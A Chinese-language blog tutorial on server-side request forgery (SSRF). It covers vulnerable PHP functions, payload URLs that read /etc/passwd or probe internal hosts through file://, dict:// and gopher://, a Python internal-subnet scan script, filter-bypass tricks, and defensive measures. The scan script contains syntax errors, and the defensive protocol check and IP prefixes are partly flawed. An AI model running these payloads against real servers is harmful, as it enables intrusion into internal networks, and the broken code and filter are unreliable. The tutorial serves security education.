SSRF服务端请求伪造

发布时间 2023-09-18 11:09:17作者: bey0nd8

介绍

ssrf是由攻击者构造请求,由服务端发起请求的安全漏洞,本质上是信息泄露漏洞。ssrf攻击的目标是从外网无法访问的内部系统,服务端当做跳板机(中间人)帮我们去请求内部系统。防火墙外紧内松

成因

由于服务端提供从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。

数据流: 攻击者→服务器—>目标地址

利用条件

url可控、后台页面没有对url进行正确校验、在页面中最好有输出

漏洞函数

```PHP
curl_exec()
file_get_contents()
fsockopen()
```

漏洞危害

- 利用file协议读取本地文件

- 对服务器所在内网、本地进行端口扫描,获取一些服务的banner信息

- 攻击运行在内网或本地的应用程序

- 对内网web应用进行指纹识别,识别企业内部的资产信息

- 攻击内外网的web应用,主要是使用HTTP GET请求就可以实现的攻击

漏洞利用 用途

5种

- 主机扫描  ipC段访问

- 端口扫描  ip 端口开启

- 指纹识别   数据库版本

- 漏洞利用  

- 内网探针

漏洞利用方式

http://xxx.com/web/ssrf.php?url=dict://127.0.0.1:3333/info   dict是字典服务期协议
http://xxx.com/web/ssrf.php?url=file:///etc/passwd  file读取文件psswd
http://xxx.com/web/ssrf.php?url=file:///../../../../../../etc/passwd
http://xxx.com/web/ssrf.php?url=http://10.10.10.1/     主机探测
http://xxx.com/web/ssrf.php?url=http://10.10.10.1:3306 端口探测
http://xxx.com/web/ssrf.php?url=gopher://127.0.0.1:3333/_test gopher文档传递服务 任意协议

内网扫描

- Burpsuite 爆破扫描

- Python 脚本遍历

**Burpsuite 爆破扫描**

image
image
image

对比length长度可以发现存在192.168.183这台主机

Python 脚本遍历

import requests
  for i in range(1,255)
    try:
      resp:requests.get(f'http://www.xxxx.com/web/ssrf.php?url=http://192.168.11.{i}',timeout=2)
      if 'file_get_contents' not in resp.text and 'Warning' not in resp.text:
          print(f'192.168.11.{i} is ok!')
      except:
          pass
#前提后台代码使用file_get_contents函数

ps:

更完整代码要至少扫描 /24和 /16 两个网段,并尝试ABC类网址的私有地址端及其各类服务端口

10.0.0.0到10.255.255.255 是A类私有地址

172.16.0.0到172.31.255.255 是B类私有地址

192.168.0.0到192.168.255.255 是C类私有地址

指纹获取

根据扫描主机存活结果,可以进一步实现内网访问,进而获取服务器指纹信息。

SSRF漏洞挖掘技巧

**1、url中的关键字**

    ```Nginx
    share
    wap
    url
    link
    src
    source
    target
    u
    3g
    display
    sourceURL
    imageURL
    domain
    remote
    ```

**2、从web页面功能上寻找**

    - 分享功能  

    - 转码服务:兼容手机浏览器页面,把网页内容转为手机合适的样式

    - 在线翻译:有道翻译、百度翻译

    - 图片加载与下载:开发者对图片调整压缩交给服务器处理

    - 图文、文章收藏功能

    - 未公开的api实现以及其他调用url的功能

SSRF分三类

1、回显
2、不回显:什么也没有,看相应时间,盲注
3、半回显:只能显示出title、图片等信息

SSRF绕过

**1、将ip地址转换为十进制**

    使用在线转换,进行ip地址转换

    https://www.bejson.com/convert/ip2int

    直接访问http://1231231232

**2、重构url**

    http://www.baidu.com@www.1231.com

**3、短网址**

    利用有效的网址利用短网址生成平台进行转码

SSRF防御

1、限制协议为HTTP、HTTPS,不允许为其他协议

    
    $url=$_GET['url'];
    if(stripos($url,'http') === false || stripos($url,'http')>0)
      {
        echo"ERROR Protocol";
      }
    else{
      echo"Good Protocol"
    }
    //stripos($source,$sub) 找到sub返回下标0开始的位置
    //如果没有找到,则返回false,但是0==FALSE,所以务必使用===


2、设置url参数或IP地址白名单,非白名单不允许访问

3、限制内网ip访问,比如URL不能以10.0、17.16、192.168开头

  
    url=http://www.baidu.com@192.168.112.111/index.html
   

    

4、统一错误信息,避免用户可根据错误信息来判断远程服务器的端口转台或者禁用错误消息

5、禁止重定向操作(服务端和客户端均需要过滤)

    使用重定向可以直接跳转大目标url地址页面,用于构造钓鱼网站

6、限制请求的端口比如,80,443,8080,8090

7、后端服务器进制远程用户指定的请求,让参数不可控